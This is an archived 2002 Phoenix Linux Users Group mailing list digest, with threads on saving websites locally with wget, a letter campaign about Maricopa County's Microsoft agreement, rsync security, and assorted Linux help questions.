2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Gordon Chamberlin Software Architect Visualize, Inc. http://www.visualizeinc.com (602) 861-0999 ext. 14 glac@visualizeinc.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:52:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 15 Jun 2002 09:52:07 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <02061509520720.08309@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I use gftp. I can highlight any/all files on the remote site and move them all to my local machine in a few clicks. Works the same way when updating pages locally and then moving them all to a remote server. On Saturday 15 June 2002 09:37, you wrote: > I want to save a web page and all the pages it links to (about 2 deep) to > my local hard drive so I can browse it locally. I don't see this > capability in Konqueror or Mozilla. How do I do this? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQtwtysk3ywszI1FEQLmUACfeuZ4SiiEKpk5eKsnqKMlr8EaaAQAoN1y gjbDyVJbi9rdC6qOw5eikwYN =CZqk -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 14 21:46:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Thomas Mondoshawan Tate) Date: Fri, 14 Jun 2002 14:46:59 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <20020614214659.GA14303@crystaldragon> On Sat, Jun 15, 2002 at 09:37:14AM -0700, Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? > > Alan Dunno about Konqueror, but in Mozilla when you select File->Save Page As... you'll notice in the save dialog that the filetype is "Web Page, complete (*.htm; *.html)". If you save it this way, Mozilla will download all images of that page and store them in a directory called _files in the same dir that you saved the file in. Also, Mozilla will change all relative links to point to the files in the _files directory to match. -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.dyndns.org From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:58:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Sat, 15 Jun 2002 09:58:27 -0700 Subject: Saving a web site local In-Reply-To: <02061509520720.08309@nova.wedge.org> References: <200206150937.14349.alandd@mindspring.com> <02061509520720.08309@nova.wedge.org> Message-ID: <200206150958.27844.alandd@mindspring.com> A brain cell clicked in after I posted the question. wget. Read the man page and now I have done what I needed with wget. Thanks for the tip on gftp, though. Alan On Saturday 15 June 2002 09:52 am, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I use gftp. I can highlight any/all files on the remote site and move them > all to my local machine in a few clicks. Works the same way when updating > pages locally and then moving them all to a remote server. > > On Saturday 15 June 2002 09:37, you wrote: > > I want to save a web page and all the pages it links to (about 2 deep) to > > my local hard drive so I can browse it locally. I don't see this > > capability in Konqueror or Mozilla. How do I do this? > > > > Alan > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQtwtysk3ywszI1FEQLmUACfeuZ4SiiEKpk5eKsnqKMlr8EaaAQAoN1y > gjbDyVJbi9rdC6qOw5eikwYN > =CZqk > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 16:58:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 15 Jun 2002 09:58:57 -0700 (PDT) Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> Message-ID: On Sat, 15 Jun 2002, Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? In Konq, select Tools --> Archive Web Page It will only save the current page and doesn't save all pages linked to (which is a really good thing, if you think about it). ~M From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 17:22:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sat, 15 Jun 2002 10:22:11 -0700 Subject: Spread the word -- InstallFest Flyer References: Message-ID: <3D0B77C3.AA1DA7C5@cox.net> Great flyer- Love the PLUG logo. A word to the wise from an old rockhound, though- check the spelling on "turquoise." -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 17:52:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 15 Jun 2002 10:52:18 -0700 (MST) Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> Message-ID: Am 15. Jun, 2002 schwätzte Alan Dayley so: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? How about a tool that can run from cron to mirror a site *and* shove it into cvs? I want to be able to have a history and also not have to worry about a local update whacking the page if it's been removed from the original site. ciao, der.hans -- # https://www.LuftHans.com/ # You can't handle the source! - der.hans From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 17:54:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 15 Jun 2002 10:54:19 -0700 (MST) Subject: Possible Fry's sponsorship? In-Reply-To: <200206142215.23043.alandd@mindspring.com> Message-ID: Am 14. Jun, 2002 schwätzte Alan Dayley so: > use it. We could really use some refreshment donations like soda and stuff. SCC will be selling some food/drink from their food cart. It would be nice, though, to have a bunch of punch or tea or something and some plastic cups. ciao, der.hans -- # https://www.LuftHans.com/ # To announce that there must be no criticism of the President, or that we # are to stand by the President, right or wrong, is not only unpatriotic # and servile, but is morally treasonable to the American public. # -- Theodore Roosevelt, 1918 From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:10:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Craig White) Date: 15 Jun 2002 11:10:05 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <1024164605.9083.0.camel@barney.azapple.com> On Sat, 2002-06-15 at 09:37, Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) to my > local hard drive so I can browse it locally. I don't see this capability in > Konqueror or Mozilla. How do I do this? > --- I use wget - it's amazing man wget wget -r www.website.tld Craig From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:27:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 14:27:50 -0400 Subject: Help Maricopa County Do the Right Thing References: <0206150802011X.08309@nova.wedge.org> Message-ID: <3D0B8726.590EDAA7@georgetoft.com> I just spent some time reading Maricopa County policies. Interesting references: MC1-101 DEFINITIONS 25."CONTRACTOR" means any Person who has a Contract with a County Governmental unit. For purposes of Article 5, Contractor may also mean Respondent as defined in this Article. 36."DEBARMENT" means an action taken by the County Administrative Officer under MC1-902 to prohibit a Person from Participating in Maricopa County Procurements. 80."PERSON" means any corporation, Business, individual, union, committee, club, other organization or group of individuals. 113."SUSPENSION" means an action taken by the County Administrative Officer under MC1-902 temporarily disqualifying a Person from participating in Maricopa County Procurements. http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm [Microsoft is considered a Contractor and a Person. This is important below.] MC1-407 MAXIMUM PRACTICABLE COMPETITION All Specifications shall seek to promote overall economy for the purpose intended and encourage competition in satisfying Maricopa County's needs and shall not be unduly restrictive. http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 [Is there any technology that is Microsoft exclusive? I believe there are sites that explain how to replace Exchange Server completely using Linux/OSS; and SQL Server is replaceable with mySQL; IIS & ASP is replaceable with Apache & PHP, right?] MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS B. The causes for Debarment or Suspension shall include, but are not limited to, the following: 2. Conviction of any Person or any subsidiary or affiliate of any Person under any statute of the Federal government, this State or its political subdivision or any other State for: k. Any other offense indicating a lack of business integrity or business honesty which affects responsibility as a Contractor. 3. Conviction or civil judgment finding a violation by any Person or any subsidiary or affiliate of any Person under State or Federal Antitrust Statutes. http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 [As I read MC1-902.B.3, Microsoft (a Person), having been convicted of a violation of Federal Antitrust Statues, cannot be a County Contractor.] I love policies :) George Jim wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I have heard from a "reliable source" that the Maricopa County Council has > decided not to automatically sign off on having the county sign an Enterprise > Agreement with Microsoft. The source said that people within the county IT > organizations made their opinion known that the Enterprise Agreement might > not be the best path for the county to blindly follow. > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > contact your Maricopa County district council person and your city council > people with some simple questions. > > a. Ask them if they plan to approve funding for the Enterprise Agreement with > the Microsoft Corporation? > > b. If they do plan to do so, ask them to provide you with a copy of the > agreement and the dollar amount to be expended. > > c. Ask them when they will be hearing from the public on the budget, so if > they are adopting an Enterprise Agreement with Microsoft, you can have your > voice heard publicly. > > d. Ask they why do they do business with a vendor that has been convicted of > felony wrongdoings. > . > e. Ask them if they have they considered alternatives to Microsoft products. > > I dont have city contact information but county contact information is as > follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County > Administrator > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > - -- > Jim > > Freedom is worth protecting > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > cWg2GbQ9y1u85/ycX+Ko2+ss > =GiK8 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:48:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 15 Jun 2002 11:48:07 -0700 Subject: Help Maricopa County Do the Right Thing References: <0206150802011X.08309@nova.wedge.org> <3D0B8726.590EDAA7@georgetoft.com> Message-ID: <3D0B8BE7.F04A55C9@leml.asu.edu> George Toft wrote: > > I just spent some time reading Maricopa County policies. Interesting > references: > > MC1-101 DEFINITIONS > 25."CONTRACTOR" means any Person who has a Contract with a County > Governmental unit. For purposes of Article 5, Contractor may also mean > Respondent as defined in this Article. > 36."DEBARMENT" means an action taken by the County Administrative > Officer under MC1-902 to prohibit a Person from Participating in > Maricopa County Procurements. > 80."PERSON" means any corporation, Business, individual, union, > committee, club, other organization or group of individuals. > 113."SUSPENSION" means an action taken by the County Administrative > Officer under MC1-902 temporarily disqualifying a Person from > participating in Maricopa County Procurements. > http://maricopa.gov/materials/p-code/HTML_code/Code-01.htm > > [Microsoft is considered a Contractor and a Person. This is important > below.] > > MC1-407 MAXIMUM PRACTICABLE COMPETITION > All Specifications shall seek to promote overall economy for the purpose > intended and encourage competition in satisfying Maricopa County's needs > and shall not be unduly restrictive. > http://maricopa.gov/materials/p-code/HTML_code/Code-04.htm#MC1-401 > > [Is there any technology that is Microsoft exclusive? I believe there > are sites that explain how to replace Exchange Server completely using > Linux/OSS; and SQL Server is replaceable with mySQL; IIS & ASP is > replaceable with Apache & PHP, right?] but isn't it the case that doing this violates M$'s enterprise agreement? > MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS > B. The causes for Debarment or Suspension shall include, but are not > limited to, the following: > 2. Conviction of any Person or any subsidiary or affiliate of any Person > under any statute of the Federal government, this State or its political > subdivision or any other State for: > k. Any other offense indicating a lack of business integrity or business > honesty which affects responsibility as a Contractor. > 3. Conviction or civil judgment finding a violation by any Person or any > subsidiary or affiliate of any Person under State or Federal Antitrust > Statutes. > http://maricopa.gov/materials/p-code/HTML_code/Code-09.htm#MC1-901 > > [As I read MC1-902.B.3, Microsoft (a Person), having been convicted of a > violation of Federal Antitrust Statues, cannot be a County Contractor.] Oh my god! that's proceless. Imagine the look on the legal-begal's face when someone hit's the coptroler with that one... If you pass that little' gem on I would be most curious to hear the reply from the county... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:59:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sat, 15 Jun 2002 11:59:42 -0700 (PDT) Subject: Help Maricopa County Do the Right Thing In-Reply-To: <0206150802011X.08309@nova.wedge.org> Message-ID: I wrote emails to everyone listed below. I encourage all of you to do the same. This is an important moment for us to positively affect computing in Maricopa County. Please write them and let them know you are concerned. Be polite and stress that there are excellent alternatives available. Go team, go! :-) ~M On Sat, 15 Jun 2002, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I have heard from a "reliable source" that the Maricopa County Council has > decided not to automatically sign off on having the county sign an Enterprise > Agreement with Microsoft. The source said that people within the county IT > organizations made their opinion known that the Enterprise Agreement might > not be the best path for the county to blindly follow. > > Since no decision has yet been made, I urge you to PLEASE PLEASE PLEASE > contact your Maricopa County district council person and your city council > people with some simple questions. > > a. Ask them if they plan to approve funding for the Enterprise Agreement with > the Microsoft Corporation? > > b. If they do plan to do so, ask them to provide you with a copy of the > agreement and the dollar amount to be expended. > > c. Ask them when they will be hearing from the public on the budget, so if > they are adopting an Enterprise Agreement with Microsoft, you can have your > voice heard publicly. > > d. Ask they why do they do business with a vendor that has been convicted of > felony wrongdoings. > . > e. Ask them if they have they considered alternatives to Microsoft products. > > I dont have city contact information but county contact information is as > follows: > > Map To Find Your Council Person > http://www.maricopa.gov/county_glance/maps.asp?link=districtMap > > Council Contact Email > Dist 1 Fulton Brock FBrock@mail.maricopa.gov > Dist 2 Don Stapley DStapley@mail.maricopa.gov > Dist 3 Andrew Kunasek AKunasek@mail.maricopa.gov > Dist 4 Max Wilson mwwilson@mail.maricopa.gov > Dist 5 Mary Rose Wilcox MrWilcox@mail.maricopa.gov > > Also I would cc: the County Administrator and Deputy County > Administrator > > CAO: David Smith DSmith@mail.maricopa.gov > DCA: Sandi Wilson Swilson@mail.maricopa.gov > - -- > Jim > > Freedom is worth protecting > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPQttsSsk3ywszI1FEQJWEACfTdfEFZA/9kUdBoYCPM2TFnpR9qQAoOfE > cWg2GbQ9y1u85/ycX+Ko2+ss > =GiK8 > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 18:58:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 15 Jun 2002 11:58:51 -0700 Subject: Saving a web site local In-Reply-To: <200206150937.14349.alandd@mindspring.com> References: <200206142215.23043.alandd@mindspring.com> <20020614211333.GA153@crystaldragon> <200206150937.14349.alandd@mindspring.com> Message-ID: <20020615115851.1623e680.derek@gnue.org> wget On Sat, 15 Jun 2002 09:37:14 -0700 Alan Dayley wrote: > I want to save a web page and all the pages it links to (about 2 deep) > to my local hard drive so I can browse it locally. I don't see this > capability in Konqueror or Mozilla. How do I do this? > > Alan > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 19:00:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 15 Jun 2002 12:00:53 -0700 Subject: Saving a web site local In-Reply-To: References: <200206150937.14349.alandd@mindspring.com> Message-ID: <20020615120053.49c33d98.derek@gnue.org> wget + cvs + cron or better yet work with the author of the site and use rysnc + cron + cvs -Derek On Sat, 15 Jun 2002 10:52:18 -0700 (MST) "der.hans" wrote: > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > I want to save a web page and all the pages it links to (about 2 > > deep) to my local hard drive so I can browse it locally. I don't > > see this capability in Konqueror or Mozilla. How do I do this? > > How about a tool that can run from cron to mirror a site *and* shove > it into cvs? > > I want to be able to have a history and also not have to worry about a > local update whacking the page if it's been removed from the original > site. > > ciao, > > der.hans > -- > # https://www.LuftHans.com/ > # You can't handle the source! - der.hans > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 08:16:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (j) Date: Sun, 16 Jun 2002 01:16:40 -0700 Subject: How to change font sized Message-ID: Where would I change the font size for my display. I am running Mandrake 8.1 The main thing is increasing the size of the letters on the screen so i can see them better. Changing the overall font size, would that also change the size of what I see in VI, emacs, and NEdit ? Thank you] Roger From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 20:20:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 16:20:10 -0400 Subject: Saving a web site local References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> Message-ID: <3D0BA17A.186E1C1B@georgetoft.com> Hmmm... I think running r* services on an Internet-facing server is about as appealing as playing Russian Roulette with a 9mm. I'm not sure you'll find too many people that will do either - at least not someone that reads SANS, CERT, or SecurityPortal. I agree that rsync is a really nifty tool, but is inappropriate for any network that is untrusted, i.e. the Internet. George Derek Neighbors wrote: > > wget + cvs + cron > > or better yet work with the author of the site and use rysnc + cron + > cvs > > -Derek > On Sat, 15 Jun 2002 10:52:18 -0700 (MST) > "der.hans" wrote: > > > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > > > I want to save a web page and all the pages it links to (about 2 > > > deep) to my local hard drive so I can browse it locally. I don't > > > see this capability in Konqueror or Mozilla. How do I do this? > > > > How about a tool that can run from cron to mirror a site *and* shove > > it into cvs? > > > > I want to be able to have a history and also not have to worry about a > > local update whacking the page if it's been removed from the original > > site. > > > > ciao, > > > > der.hans > > -- > > # https://www.LuftHans.com/ > > # You can't handle the source! - der.hans > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 20:29:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (foodog) Date: Sat, 15 Jun 2002 13:29:23 -0700 Subject: KDE 3.0 "appfinder" Message-ID: <3D0BA3A3.4C8DCFE6@pop.phnx.uswest.net> With previous versions of KDE there was a thing called "appfinder" in the menu that'd search through the system and add applications to the K menu. Does anyone know how to get KDE 3.0 to do that? I've got Redhat 7.3 installed. Thanks much, Steve From plug-discuss@lists.plug.phoenix.az.us Sat Jun 15 21:05:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Sat, 15 Jun 2002 14:05:49 -0700 Subject: Saving a web site local In-Reply-To: <3D0BA17A.186E1C1B@georgetoft.com> References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> Message-ID: <20020615140549.48475f22.derek@gnue.org> Maybe I have miscommunicated things here. I never said run rsync publicly. I meant have a private server use rsync via ssh to get at the Internet site. Certainly you run ssh on your servers to access them remotely? -derek On Sat, 15 Jun 2002 16:20:10 -0400 George Toft wrote: > Hmmm... I think running r* services on an Internet-facing server is > about > as appealing as playing Russian Roulette with a 9mm. I'm not sure > you'll > find too many people that will do either - at least not someone that > reads > SANS, CERT, or SecurityPortal. > > I agree that rsync is a really nifty tool, but is inappropriate for > any network that is untrusted, i.e. the Internet. > > George > > > Derek Neighbors wrote: > > > > wget + cvs + cron > > > > or better yet work with the author of the site and use rysnc + cron > > + cvs > > > > -Derek > > On Sat, 15 Jun 2002 10:52:18 -0700 (MST) > > "der.hans" wrote: > > > > > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > > > > > I want to save a web page and all the pages it links to (about 2 > > > > deep) to my local hard drive so I can browse it locally. I > > > > don't see this capability in Konqueror or Mozilla. How do I do > > > > this? > > > > > > How about a tool that can run from cron to mirror a site *and* > > > shove it into cvs? > > > > > > I want to be able to have a history and also not have to worry > > > about a local update whacking the page if it's been removed from > > > the original site. > > > > > > ciao, > > > > > > der.hans > > > -- > > > # https://www.LuftHans.com/ > > > # You can't handle the source! - der.hans > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > doesn't post to the list quickly and you use Netscape to write > > > mail. > > > > > > PLUG-discuss mailing list - > > > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 10:22:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (j) Date: Sun, 16 Jun 2002 03:22:51 -0700 Subject: How to change font sized In-Reply-To: References: Message-ID: Never mind, the brain finally started working again. Thanks On Sunday 16 June 2002 01:16, you wrote: > Where would I change the font size for my display. I am running Mandrake > 8.1 The main thing is increasing the size of the letters on the screen so i > can see them better. > > Changing the overall font size, would that also change the size of what I > see in VI, emacs, and NEdit ? > > Thank you] > > Roger > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 00:08:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Sat, 15 Jun 2002 20:08:47 -0400 Subject: Saving a web site local References: <200206150937.14349.alandd@mindspring.com> <20020615120053.49c33d98.derek@gnue.org> <3D0BA17A.186E1C1B@georgetoft.com> <20020615140549.48475f22.derek@gnue.org> Message-ID: <3D0BD70F.19E0EB16@georgetoft.com> I use a web hosting company that does not allow shell access. I have found that if you create a development environment that is identical to production, your need for shell access is not really necessary. For example, in my current job, every production problem I have had was reporducable in development. Fix the issue in dev, migrate to prod, and it's fixed. Yes, I have a dev web server running at home for my personal web site. I make it work here, then migrate to prod. I haven't had shell access in almost a year, and don't miss it. George Derek Neighbors wrote: > > Maybe I have miscommunicated things here. I never said run rsync > publicly. I meant have a private server use rsync via ssh to get at the > Internet site. Certainly you run ssh on your servers to access them > remotely? > > -derek > > On Sat, 15 Jun 2002 16:20:10 -0400 > George Toft wrote: > > > Hmmm... I think running r* services on an Internet-facing server is > > about > > as appealing as playing Russian Roulette with a 9mm. I'm not sure > > you'll > > find too many people that will do either - at least not someone that > > reads > > SANS, CERT, or SecurityPortal. > > > > I agree that rsync is a really nifty tool, but is inappropriate for > > any network that is untrusted, i.e. the Internet. > > > > George > > > > > > Derek Neighbors wrote: > > > > > > wget + cvs + cron > > > > > > or better yet work with the author of the site and use rysnc + cron > > > + cvs > > > > > > -Derek > > > On Sat, 15 Jun 2002 10:52:18 -0700 (MST) > > > "der.hans" wrote: > > > > > > > Am 15. Jun, 2002 schwätzte Alan Dayley so: > > > > > > > > > I want to save a web page and all the pages it links to (about 2 > > > > > deep) to my local hard drive so I can browse it locally. I > > > > > don't see this capability in Konqueror or Mozilla. How do I do > > > > > this? > > > > > > > > How about a tool that can run from cron to mirror a site *and* > > > > shove it into cvs? > > > > > > > > I want to be able to have a history and also not have to worry > > > > about a local update whacking the page if it's been removed from > > > > the original site. > > > > > > > > ciao, > > > > > > > > der.hans > > > > -- > > > > # https://www.LuftHans.com/ > > > > # You can't handle the source! - der.hans > > > > > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write > > > > mail. > > > > > > > > PLUG-discuss mailing list - > > > > PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 00:25:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sat, 15 Jun 2002 17:25:27 -0700 (MST) Subject: Saving a web site local In-Reply-To: <20020615120053.49c33d98.derek@gnue.org> Message-ID: Am 15. Jun, 2002 schwätzte Derek Neighbors so: > wget + cvs + cron > > or better yet work with the author of the site and use rysnc + cron + > cvs Yeah, yeah. You command line junkies! :) I do want a few features like turning on and off notification upon changes. I'd also like the ability to expressly ban certain sites from the archive, e.g. ads. It would be outstanding to make the differences notification be only dependent on part of the page, e.g. the actual content. I thought I'd seen projects for this, but didn't find anything in the debian packages, but I remembered you can now search for multiple words on FreshMeat and found HTMLArchive. Hmm, doesn't quite look like what I want, but I think I can convince it to do what I want and it provides something else I've been wanting... ciao, der.hans -- # https://www.LuftHans.com/ # Magic is science unexplained. - der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 01:35:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar Narayanasamy) Date: Sat, 15 Jun 2002 18:35:47 -0700 (MST) Subject: =?iso-8859-1?Q?ipchains_redirecting?= Message-ID: <1511.66.1.195.230.1024191347.squirrel@www.esaravana.com> Hello, I want to force the users on my network to go through my proxy server. What are the ipchains rules I should add. I am using Redhat 7.2 and squid proxy. Cheers! Sundar From plug-discuss@lists.plug.phoenix.az.us Sun Jun 16 01:36:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Adrian Mink) Date: Sat, 15 Jun 2002 18:36:03 -0700 Subject: Dependency Problems Message-ID: <026e01c214d6$2df0d530$0401a8c0@minkland.com> Hello, I am having a problem I hope someone can help with. I am trying to install sslwrap and keep getting the following dependency errors. [root@linux work]# rpm --install sslwrap-2.0.5-3.i386.rpm error: failed dependencies: libcrypto.so.0 is 